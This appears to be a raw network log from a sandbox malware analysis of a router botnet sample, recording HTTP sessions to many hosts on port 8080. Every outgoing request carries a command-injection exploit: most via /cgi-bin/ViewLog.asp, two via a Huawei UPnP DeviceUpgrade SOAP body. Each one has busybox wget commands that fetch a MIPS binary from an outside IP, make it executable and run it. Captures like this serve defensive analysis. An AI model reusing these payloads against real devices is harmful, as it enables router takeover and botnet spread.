Nov 23, 2023 05:18:08.806185007 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:14.950161934 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
677	192.168.2.13	33990	94.46.14.108	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.782108068 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.980357885 CET	1340	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:18:04 GMT Server: Apache Accept-Ranges: bytes Access-Control-Allow-Origin: * Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: bl

Session ID	Source IP	Source Port	Destination IP	Destination Port
678	192.168.2.13	57780	85.172.10.41	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.819375992 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.058154106 CET	442	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 07:18:03 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
679	192.168.2.13	43068	31.136.155.29	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:04.968741894 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.542215109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:06.694199085 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:09.062170982 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:13.670175076 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
680	192.168.2.13	38570	94.236.167.165	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.031333923 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	33654	62.94.44.154	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.033633947 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:05.321126938 CET	398	IN	HTTP/1.0 404 Not Found Date: Thu, 23 Nov 2023 05:32:00 GMT Server: Boa/0.94.13 X-Frame-Options: Deny Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	51188	94.121.109.132	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.038276911 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	41152	94.122.92.152	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.191890955 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	33684	31.136.134.27	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:18:05.631283998 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:06.214211941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:07.366189957 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
